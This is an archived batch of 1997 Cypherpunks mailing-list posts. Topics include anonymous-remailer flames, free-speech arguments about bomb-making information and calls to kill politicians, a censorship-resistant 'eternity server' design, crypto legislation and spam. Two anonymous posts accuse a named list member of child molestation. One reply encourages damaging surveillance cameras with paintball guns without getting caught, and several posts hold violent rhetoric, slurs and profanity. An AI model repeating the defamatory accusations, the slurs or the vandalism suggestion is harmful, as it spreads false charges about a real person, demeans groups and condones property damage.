---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 04:49:43 +0800
To: cypherpunks@toad.com
Subject: Re: [Announce] PGP
Message-ID: <199705132035.QAA03170@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Given Dr. Dimitri Vulis Spam's propensity to molest 
little boys, and hamsters is it any surprise that the 
state of New York wants to have him castrated?
 
             ,,,
          (o-o)
  -ooO-(_)-Ooo- Dr. Dimitri Vulis Spam.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 05:01:47 +0800
To: cypherpunks@toad.com
Subject: Re: [Stego] Vulis
Message-ID: <199705132042.QAA03538@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr. Demi Vulvis, child molester, carries a turd in his wallet for 
identification purposes.
 
       _@_
       /   \
      | o o |
-U|--U--|U-- Dr. Demi Vulvis (proctologist, not cryptologist)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Wed, 14 May 1997 05:01:50 +0800
To: cypherpunks@toad.com
Subject: Re: Enough of this shit already!
In-Reply-To: <Pine.SUN.3.91.970513110309.5776E-100000@beast.brainlink.com>
Message-ID: <3378E1A5.282B@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian wrote:
> 
> On Tue, 13 May 1997, The Spectre wrote:
> 
> > To: cypherpunks@toad.com
> > Date: Tue May 13 09:55:34 1997
> >
> > > Dimi (Closet Homo) isa pimply old dweeb sitting at a  Xenix 286
> > > computer masturbating at his own imagined cleverness.
> > >
> >
> > This is the down side to anonymous remailers.. I think if you don't have
> > the balls to say something, don't say it.
> >
> > Obviously, someone is saying something they don't wan't other people to
> > think they think..
> >
> > I am, obviously, tired of adding filters to my mailbox.  Please knock off
> > this bullshit.  I think whoever posted this is a pimply young asshole
> > sitting on a c64 attempting to masturbate himself but can't find a
> > microscope with high enough magnification.
> 
> Agreed.  While I will restrain my oppinions of our unfriendly KOTM with a
> doctorate from the KGB, I'm tired of these spams.  Yes, they include the
> ones that IMHO come from Vulis, the ones to which Graham replies, the
> anonymous ones that reply to Graham, the permutations of them that
> spam Toto, and these.  :(
> 
> If you want to rag on Tim or Vulis, please do so, but not by setting up
> spam bots.  Granted some of those are funny the first time you see them,
> but automating them makes them as welcome as listening to an annoying fly
> buzzing over and over in your face.
> 
> Hell, the nice bomb making spam too is also a bitch being posted here.
> One could give the poster the benefit of the doubt, but it smells quite
> of the tactics used by the Postal fiends that mail child porno to an
> unsuspecting citizen unit, then arrest that citizen unit upon receipt.
> Lets not give the evil onesof the government more horsemen to ride over
> us. :(  A url to the stuff and a summary would have sufficed.  (And I'll
> restrain myself from saying that this was done by Vulis, though IMHO, it
> smells of his style of spam. :)
Right on.  It's nice, and cute the first and second time around,
afterwards, it just get's really annoying.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 14 May 1997 05:26:03 +0800
To: "Sidney R. Phillips" <srp3651@hsct22.ca.boeing.com>
Subject: Re: Printers are munitions?
In-Reply-To: <3378A3E5.41C6@hsct22.ca.boeing.com>
Message-ID: <Pine.LNX.3.94.970513171109.17967P-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 13 May 1997, Sidney R. Phillips wrote:

> One thing which caught my attention however, was a claim by
> Win Schwartau (of inforwar fame) that NSA had placed narrow band
> transmitters in printers which wound up in air defense sites in Iraq.
> Subsequently the transmissions were used for targeting durring the gulf
> war.  Has anyone heard of a separate source for this?

_2600 Magazine_ had an article about this a few years back, called "Gulf War
Printer Virus," I believe. I think in that version of the story, it wasn't a
narrow band xmitter but a virus that affected a computer connected to the
printer's parallel port, infecting itself via the sole pin ("out of paper" i
think it said) on the port that xmitted from printer to computer rather than
the normal other way around. As to whether or not this virus was of the
computer or media variety, however, remains to be seen.

m





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 14 May 1997 01:22:27 +0800
To: cypherpunks@algebra.com
Subject: Eternity server considerations and musings
Message-ID: <Pine.LNX.3.91.970513165201.835A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



I spent some considerable time today thinking about the eternity server
idea proposed, and implemented in alpha stage, by Adam Back.

The main method used by governments around the world so far to attempt to 
censor information has been the use, or proposal of, proxy servers for 
whole countries or jurisdictions.
This method has only thus far been used to censor www connections, and 
has been used to censor specific sites, hence the use of mirroring to 
circumvent government censorship.

To give an overview of the eternity server idea for those who didn`t see 
the original post the idea was that a non existant virtual TLD .eternity 
would be used to access HTML posted to usenet. So to access a site that 
was at say bombmaking.terrorist.com/assasination/killing.html
you would send your browser to:
 
http://bombmaking.terrorist.com.eternity/assasination/killing.html

The assumption being that the distributed nature of usenet would not 
allow censorship.

The proxies idea however can be extended to censor usenet, usenet 
traffic, although pretty huge, is not yet too large to be grep`d for 
keywords (currently around 600mb of traffic a day passes through the 
newsgroups) before being proxied, so a government can run a server which 
first checks to ensure the usenet article is not encrypted (this can be 
done crudely by checking for occurances of common words or by checking 
the redundancy of the text by attempting to compress it) and if it is 
encrypted junks it, if it is plaintext, greps it for keywords like 
"assasination", "anarchy", "porn" etc... then kills the articles that 
have these words in them, the other articles the government does not want 
to censor are put on a main server like news.fourth-reich.de and access 
blocked to all the other news servers.

I know this might seem an unlikely scenario but it is not really when we 
consider the wacky ideas we have seen from governments in recent years, a 
dictatorship like France or Germany might begin implementing this within 
a few years, although the German government has had it`s fingers burnt 
recently with the Radikal fiasco.

What I was considering was the possibility of circumventing proxies 
altogether, this is not an easy question and I could not think of one 
single way to get access, of course one could use and ISP outside of the 
jurisdiction but this incurs internation call charges for dial up users, 
and the gubmint of fascist-regime-N can block telephone access to 
internet POPs outside of their country.

The problem with attempting to prevent censorship of usenet is that we 
cannot mirror it like we can web sites, the web is too huge for a 
government to mirror the whole of the "acceptable" part of it, so 
mirroring sites faster than they can block them is effective, usenet is 
too small to protect in this way, it could be effectively mirrored and 
all other access killed. Of course while we can mirror sites to prevent 
censorship this is almost an academic question, rather than a practical 
one, however, it would be nice to see a more robust system which thwarted 
all attempts to censor without the need for human intervention by 
mirroring sites etc.

I can see no way that a government can censor internal traffic within a 
country, because this need not pass through the proxy, so if we can get a 
copy of a document onto one server within a country all others can access 
it through a virtual URL. However, this is likely to incur the 
displeasure of the authorities in that country and have them knocking at 
the door of the owner of the server holding the document, so we would 
have to have a system for server anonymity. This is all getting very 
complicated ;-)

Anyway, as I have said, I can give no insight here into what is a 
possible solution, I hope that this post might cause someone who does 
have the beginnings of an idea to think about it some more and maybe give 
us a really robust solution to preventing censorship of this kind.
   

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Wed, 14 May 1997 05:33:47 +0800
To: cypherpunks@toad.com
Subject: Would the anonymous person(s) please...
Message-ID: <3378E8E5.1B6B@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain


Would all those anonymous remailing people with a flame tendency, please
flame the person of your attacks, and don't send this bullshit to the
list?  Thanks...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Wed, 14 May 1997 09:20:21 +0800
To: tcmay@got.net>
Subject: Re: "The policeman inside"
Message-ID: <199705140042.RAA21706@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 13 May 97 at 9:19, Tim May wrote:

> As ur-cyberpunk Burroughs noted, we must beware "the policeman
> inside."
> 
> Authorities _want_ people to "police themselves," to think twice
> before speaking freely, to limit the topic of their conversations,
> and to generally fear the knock on the door late at night (or, in
> fin de siecle Amerika, the suddent appearance of black-clad ninja in
> one's bedroom at 4 a.m., shooting anything that moves).

Hey, that shit scares me, too.  BUT:
 
> Bomb-making information is protected by the First Amendment. Period.

Correct.  It's using that technology that's the crime, in most cases.
 
> So is crypto information. So is saying Congressmen are vermin who
> need to be taken out and shot.

I think you can say "taken out and Spanked Naked In The Streets" I 
don't think you can advocate shooting them...  Correct me if I'm 
wrong.
 
> Get this straight, people!

The  First Amendment *IS* still in force.
 
> (Now whether such opinions are to one's taste, or whether the
> Cypherpunks list is a reasonable forum for posting bomb-making
> plans...well, that's a completely different issue, one of taste and
> appropriateness,

First Amendment issues are *on topic*.

> than the calls by Declan and Ray that such messages
> are dangerous and could invite retaliation by the Authorities. If
> that's indeed the case, then by all means we should be posting
> bomb-making instructions and calls for treason trials with street
> justice.)

Hey, *They* read this list anyways.  Fuck *Them* Hard.
 
> Beware the policeman inside.

Fuck the FBI, Fuck the CIA.  Fuck 'em all.  Now that's freedom!  God, 
I love America!  

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 14 May 1997 09:09:15 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
In-Reply-To: <3.0.1.32.19970512171524.028df2c8@panix.com>
Message-ID: <199705140045.RAA09717@netcom11.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



DF:
>
>Most of the violence in interactions between people and governments is on the
>government side.  The U.S. government and others have been committing mass
>murder for years.  Supporters of those governments thus support mass murder
>for "political ends."
>
>Governments have murdered 170 million people since 1900.  My
>back-of-the-envelope estimate is that the civilians of the world have only
>murdered about 20 million people in the same period of time.  Quite a
>disparity.

therefore, it is ok for civilians to murder government officials, 
or engage in any other damaging conduct.
CED (cypherpunk QED) endorsed by TCM, Bell, etc. ad nauseum





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Wed, 14 May 1997 00:09:29 +0800
To: cypherpunks@algebra.com
Subject: Crypto AG web site
Message-ID: <199705131551.RAA20430@rzdspc5.informatik.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text


"Thanks to comprehensive ciphering expertise and 45 years of experience,
the Zug/Switzerland based company enjoys an excellent reputation all
around the world and is trusted by customers in over 130 countries in
all continents."

http://www.crypto.ch





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 09:36:34 +0800
To: "Ross Wright" <cypherpunks@algebra.com
Subject: Re: "The policeman inside"
In-Reply-To: <199705140042.RAA21706@adnetsol.adnetsol.com>
Message-ID: <v03007804af9ecee3ec1d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:41 PM -0800 5/13/97, Ross Wright wrote:
>On or About 13 May 97 at 9:19, Tim May wrote:

>> So is crypto information. So is saying Congressmen are vermin who
>> need to be taken out and shot.
>
>I think you can say "taken out and Spanked Naked In The Streets" I
>don't think you can advocate shooting them...  Correct me if I'm
>wrong.

This has of course come up several times. The usual legal scholars can cite
chapter and verse, but it is of course perfectly legal to say that all
lawyers ought to be killed, that all politicians are scum and should be
killed, etc. It is even legal to say that all honkies ought to be offed.
And legal to express the view that the world would be a better place if
O.J. Simpson is someday killed by some brave soul.

What may be illegal--and even this if iffy--is to "incite" a _particular_
act of violence, such as urging a mob to lynch a prisoner, or perhaps
running an AP betting pool. Legal experts can discuss relevant cases here.

(Plus, the expression "taken out and shot" has cultural context implying it
is not a specific course of action being proposed. In a similar vein,
arguing that it would be a good thing if D.C. were to vanish in a puff of
plutonium smoke, or even that "D.C. ought to be nuked," these are certainly
protected First Amendment sentiments.)

What is certainly protected, or at least has been protected for centuries,
is the expression of opinions that somebody needs killing. It may be tacky
to wish death on someone (but not always tacky), but what specific crime is
being committed?

As is well known, general advocacy of violence is protected speech (modulo
some special cases that legal experts can cite).

There is a specific exception: advocating the violent overthrow of the U.S.
government. One can advocate violence, one can advocate the (non-violent)
overthrow of the government (which we call "elections"), but one cannot
advocate the violent overthrow of the government.

(Again, legal beagles can discuss cases. Clearly many have advocated the
violent overthrow of the gubment, as the Black Panthers and Weathermen did,
and yet this was not what they were charged with. So, while technically
illegal, rarely prosecuted.)


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 10:02:31 +0800
To: cypherpunks@algebra.com
Subject: Re: The Interlinked Cypherpunks Lists? (fwd)
In-Reply-To: <199705140034.TAA23384@einstein.ssz.com>
Message-ID: <v03007805af9ed5fd9760@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:34 PM -0800 5/13/97, Jim Choate wrote:

>> > * Is it possible for the interlinked lists to send out announcements of
>> > list problems to subscriber of all such lists? (Each list owner could do a
>> > periodic "who cypherpunks" of the other lists, then use this list to
>>send a
>> > message if a problem comes up. More sophisticated cross-processing could
>> > eliminate duplicates, etc.)
>
>Sounds like time to start another list subscribed to the existing nodes
>and offer such services to the subscribers at the operators whim.
>
>I oppose any action which would force the list to become more 'cooperative'
>in the sense that each node operator would be forced (sorta anti-cpunks I
>believe) to comply with some set of scripts and such they didn't develop in

I wasn't advocating either:

a) any "forcing" of anything

b) any compliance with scripts, cooperation, etc.

Instead, imagine this "service":

- a distribution point (= list) which subscribes to all of the various
lists (cyberpass, algebra, ssz, etc.)

- it sends out to subscribers the first instance of any message it receives

- duplicates (see discussion below) would not be sent

- it would, ideally, be on a robust machine

The "duplicates" issue has been discussed by others. Even if message IDs
are not enough to find duplicates--someone reported that the same message
from algebra and cyberpass have different IDs--I would think that using the
sender, message title, and date of origin ought to be more than enough to
spot duplicates.

Thus, the message "Re: The Interlinked Cypherpunks Lists? (fwd), 4:34 PM
-0800 5/13/97, Jim Choate" should be unique.


>Now some of you are going to say that this is taking it to extremes. That
>what is being proposed is a good thing and not something that could be used
>to 'manipulate' the lists. The road to hell is paved with good intentions,
>and the guy driving the paving truck only wants to help you (as he paves
>your petunia's).

No, this is just another filtering service, one designed to collect
messages from as many inputs as possible and send them out, without
duplicates.


>> > * Alternatively, if one of the sites goes down, such as
>> > "cypherpunks@cyberpass.net" seems to have done, could the other sites
>> > automagically pick up the task of distributing articles until the site
>> > comes back up?
>
>This again is anti-cpunks, it forces a level of cooperation and information
>sharing that is in direct opposition to beliefs in anonymity and privacy.
>I don't want it known who is subscribed to lists through SSZ, in short:
>It isn't any of your damn business and quit asking.

No one has ever said you, or SSZ, or anyone, has to participate.


>Solution? Get a life or start an archive site.
>

"Get a life." What an original insult.

Reminds me why you usually reside in my filter file, Jim. Back in it you go.

--TCM

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 14 May 1997 13:58:26 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Wine Politics Again!
In-Reply-To: <v0302098baf98c132e204@[139.167.130.248]>
Message-ID: <3.0.1.32.19970513185328.0065abc8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 PM 5/9/97 -0800, Tim May wrote:
>I am shipping a few bottles of California's finest merlot (much nicer than
>the trendy cabernets) to my sister and her husband in Hollywood, FL.

You're a bit late - merlots have been getting more trendy :-)
But Chiles hasn't signed the Florida law quite yet, so you're also early.
Do they even _grow_ wine in Florida?  You'd think it would be the 
cocaine industry trying to get their product regulated to keep prices high.

>There's something wrong when I'm a felon under an increasing number of laws.

It's especially ridiculous that shipping wine should be a *felony*.
Mike Froomkin points out that the Constitutional Amendment ending
Prohibition lets states make their own stupid decisions like this,
and it probably overrides Commerce Clause controls.
You'd expect that a law that's made primarily to protect business
interests would have business-oriented penalties - like fines for
conducting wine-shipping without a wine-shipping license,
or triple fines for not filling out paperwork in triplicate.

Does anyone know if either state's laws also penalize the 
recipient of the Demon Grape, or only the sender?  
(And is there a list of the state legislators on-line? 
"Dear Senator Foobar:  If you'd passed S.B.336, you'd be busted now!")

About 10 years ago, New Jersey legalized home-made wine and beer,
with a requirement that you get a $3 permit.  Nobody'd particularly
realized it wasn't legal, and in a heavily Italian state people had
been making wine at home since Prohibition ended (...),
and everybody agreed it was stupid to keep it illegal.
But the burons wanted to retain _some_ control, hence the permit.
Enough people complained about it that they dropped the
permit requirement pretty quickly.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 14 May 1997 07:06:39 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007800af99ae300ca9@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970513184927.5776Y-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 9 May 1997, Tim May wrote:

> Much as it pains me to dispute my usual ideological ally Ray A., the "they
> should honor your request" is problematic.

To elaborate:

Point is that in every one of their posts that I've gotten they have a 
"send email to this address with subject cancel" only it doesn't do 
shit.   They place something that makes it look like they will not spam 
you if you ask them not to, but they do anyway.

> Indeed, saying you don't "want" more advertisements is, for all practical
> purposes, saying "Send me more!!!!"
> 
> So?

Yeah, they use the "cancel" messages to send you more spam instead of 
shutting off all spam.  This is called false advertising, no?

If you want to take it further in to the land of the creatures of theory, 
who owns your email?  Do you?  If so, by right of ownership can you 
decide who isn't to send you email?  You can certainly achieve this by 
filters.  If the spamming scum says "I will stop if you ask me to" and 
you ask him to stop, but he doesn't, what rights have you got against 
him?  What if he is using your email for commercial purposes without your 
consent? etc.....

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 14 May 1997 07:09:52 +0800
To: "Brian C. Lane" <nexus@eskimo.com>
Subject: Re: Camera Hacking
In-Reply-To: <Pine.LNX.3.96.970509154412.965B-100000@fozzy.islet.com>
Message-ID: <Pine.SUN.3.91.970513185533.5776Z-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 9 May 1997, Brian C. Lane wrote:

> On Thu, 1 May 1997, geeman wrote:
> 
> > have an effect on people's behavior with respect to what they say, whom
> > they associate with, 
> > the clothes they wear, the thoughts they think...
> > 
> > How do you hack a camera?
> 
>   Splatball (paintball) gun should do the trick.

I suppose if you make it expensive enough by damaging enough cameras, 
and any replacements, they will go away (or be better hidden).  The trick 
is to do this without being caught. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Wed, 14 May 1997 10:35:37 +0800
To: Chris DiBona <cypherpunks@toad.com>
Subject: RE: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
Message-ID: <199705140215.TAA11471@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:45 5/12/97 -0700, Chris DiBona wrote:

>And keep in mind , I don't begrudge RSA thier right to make money off thier
intellectual property,

However, I've been waiting many years for some patent-law-knowledgeable
person to explain why mathematics, which was widely seen as being absolutely
unpatentable prior to the invention of public-key cryptography, suddenly
became patentable just in time for RSA, etc.  

Until I hear such an explanation, I _DO_ begrudge RSA and others that "right."


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 14 May 1997 09:11:28 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: "The policeman inside" (fwd)
Message-ID: <199705140013.TAA23211@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> From: "Ross Wright" <rwright@adnetsol.com>
> Date: Tue, 13 May 1997 17:41:52 -0700
> Subject: Re: "The policeman inside"

> Hey, *They* read this list anyways.  Fuck *Them* Hard.
>  
> > Beware the policeman inside.
> 
> Fuck the FBI, Fuck the CIA.  Fuck 'em all.  Now that's freedom!  God, 
> I love America!  

That isn't freedom, its emotional gratification. Freedom would be not having
to worry about them in the first place.


                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 14 May 1997 09:08:50 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
Message-ID: <199705140015.TAA23269@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Tue, 13 May 97 19:23:46 -0500
> Subject: Re: KKK derails crypto bill, report from House Judiciary...

> I personaly think that this is a good thing. :)))
> 
> Every bill that *is not* passed by congress is just that much more freedom
> that is saved. If all the bills passed by congress over the past 100yrs.
> could all be repealed no one would miss them in the least (well no one
> except the STATEST). 

Yeah,

Blacks could go back to being niggers.
Women could go back to being barefoot and pregnant
etc...

Talk about statest.

                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 14 May 1997 08:57:53 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: KKK derails crypto bill, report from House Judiciary...
In-Reply-To: <v03007804af9ea94e831c@[168.161.105.191]>
Message-ID: <199705140035.TAA10601@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007804af9ea94e831c@[168.161.105.191]>, on 05/13/97 at 05:32 PM,
   Declan McCullagh <declan@well.com> said:


>The Net's crypto wet-dreams were demolished this afternoon by a
>Congressional committee's fear of coffee-drenched kids and the Ku Klux
>Klan.

[Discription of a typical day in congress sniped]


>It worked. By 5:15 pm, after a dozen amendments, the committee passed the
>"Volunteer Protection Act." As for SAFE -- well, if you're a Congressman
>faced with the choice of bashing the KKK or tackling crypto policy, what
>would you do?

I personaly think that this is a good thing. :)))

Every bill that *is not* passed by congress is just that much more freedom
that is saved. If all the bills passed by congress over the past 100yrs.
could all be repealed no one would miss them in the least (well no one
except the STATEST). 

SAFE was a bad ideal as any law regulating crypto. I do not need DC's
permision to exercise my 1st Admendment rights any more than I need their
permision to exercise any of my rights.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: MASOCHIST: Windows SDK programmer with a smile!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 14 May 1997 07:53:26 +0800
To: cypherpunks@toad.com
Subject: KKK derails crypto bill, report from House Judiciary...
Message-ID: <v03007804af9ea94e831c@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


The Net's crypto wet-dreams were demolished this afternoon by a
Congressional committee's fear of coffee-drenched kids and the Ku
Klux Klan.

A two-hour debate over whether KKK volunteers could be sued for
spilling coffee on an 8-year old at a bake sale blew through
millions of dollars in billable lobbyist-hours and prevented the
House Judiciary Committee from voting on Rep. Bob Goodlatte's
(R-VA) SAFE crypto bill today.

Somnolent yet somehow alert, Rep. John Conyers (D-Mich) wasted an
hour sparring with the avuncular Rep. Henry Hyde (R-Illinois) over
the "Volunteer Protection Act," which insulates people volunteering
for nonprofit organizations from civil liability.

But would that apply to the KKK, wondered Conyers? Is the KKK a
registered 501(c)(3) organization under the IRS code? What about
501(c)(4) organizations? What if a KKK member decided to build houses
for Habitat for Humanity?

I kid you not: these are the questions that the august House
Judiciary committee grapples with. The members ran out of time
and never got around to voting on SAFE.

It was a bizzare meeting, to be sure, but at least one point made
sense: these decisions should be left to the states, not imposed on
them by the Feds. Some Congressmen even cited the landmark Supreme
Court decision in _Lopez_, which shortened the reach of the Federal
government. Conyers: "Someone has to explain why this is a federal
issue." Rep. Jerrold Nadler (D-NY): "I don't see why it's necessary
for the federal government to invade."

Rep. Barney Frank (D-Mass) coughed up an odd position: he likes the
bill, but wants to make sure his GOP colleagues appreciate that
this bill would screw the states. (It uses the Constitution's
"interstate commerce clause" to justify the Feds interfering.)
Frank said: "The notion that the coach of the Little League is
involved in interstate commerce -- unless the third baseline is in
another state -- strikes me as a hard sell. A dispute involving the
coach in a little league will now be federalized... I don't have a
problem with that... I do insist, however, that those in the past
who have invoked [states' rights understand that] this is an
obliteration of Lopez."

Those were the high points of the debate, and it went downhill from
there. Frank claimed that the Civil War meant that states have no
rights. Someone rambled about girl scouts in South Carolina.
Someone else spoke passionately about "standards of tortious
behavior." Then there was talk about tricyles and hammers.

By this time, the audience was falling asleep. I counted 10 people
nodding off before I ran out of fingers.

A frustrated Hyde tried to broker a deal: "If your staff person can
work with your staff person, can you draft replacement language?"
Conyers replied. "We're trying to help chairman Hyde. We've got 12
minutes [left]. There's no way in the world we're going to allow
hate group hangers-on to be exempted from simple negligence."

It worked. By 5:15 pm, after a dozen amendments, the committee
passed the "Volunteer Protection Act." As for SAFE -- well, if
you're a Congressman faced with the choice of bashing the KKK or
tackling crypto policy, what would you do?

-By Declan McCullagh (declan@well.com) and Will Rodger
(rodger@worldnet.att.net), who refuses to wear a tie to these
events any more.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 14 May 1997 10:49:42 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
In-Reply-To: <3.0.1.32.19970512171524.028df2c8@panix.com>
Message-ID: <19970513193420.35018@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, May 12, 1997 at 05:15:24PM -0400, Duncan Frissell wrote:
>
>Tim is neither a democrat nor a participant in a democracy.  Note that all
>the parties involved in the current Balkans war are governments (or claim to
>be). 
>
>Most of the violence in interactions between people and governments is on the
>government side.  The U.S. government and others have been committing mass
>murder for years.  Supporters of those governments thus support mass murder
>for "political ends."
>
>Governments have murdered 170 million people since 1900.  My
>back-of-the-envelope estimate is that the civilians of the world have only
>murdered about 20 million people in the same period of time.  Quite a
>disparity.

Your estimate seems high to me.  But it is meaningless, in any case.

First of all, it neglects to consider that governments may have 
prevented more murders than they caused.  This is unknowable, since 
we don't have any worthwhile control cases.  (I suppose we
might examine a state of anarchic chaos (eg Rawanda) and compare the 
percentage of murders...but such cases are symptoms of other human 
ills, and cannot be used as a meaningful comparison, I believe.)

Second, such cases of civil breakdown aside, all humans, for now and
for the conceivable future, live within the context of some kind of
government.  The option of non-government simply doesn't exist.  The 
issue is how can governments be improved.

Third, murders caused by governments can't really be separated from
murders caused by individuals.  That is, in many cases deciding
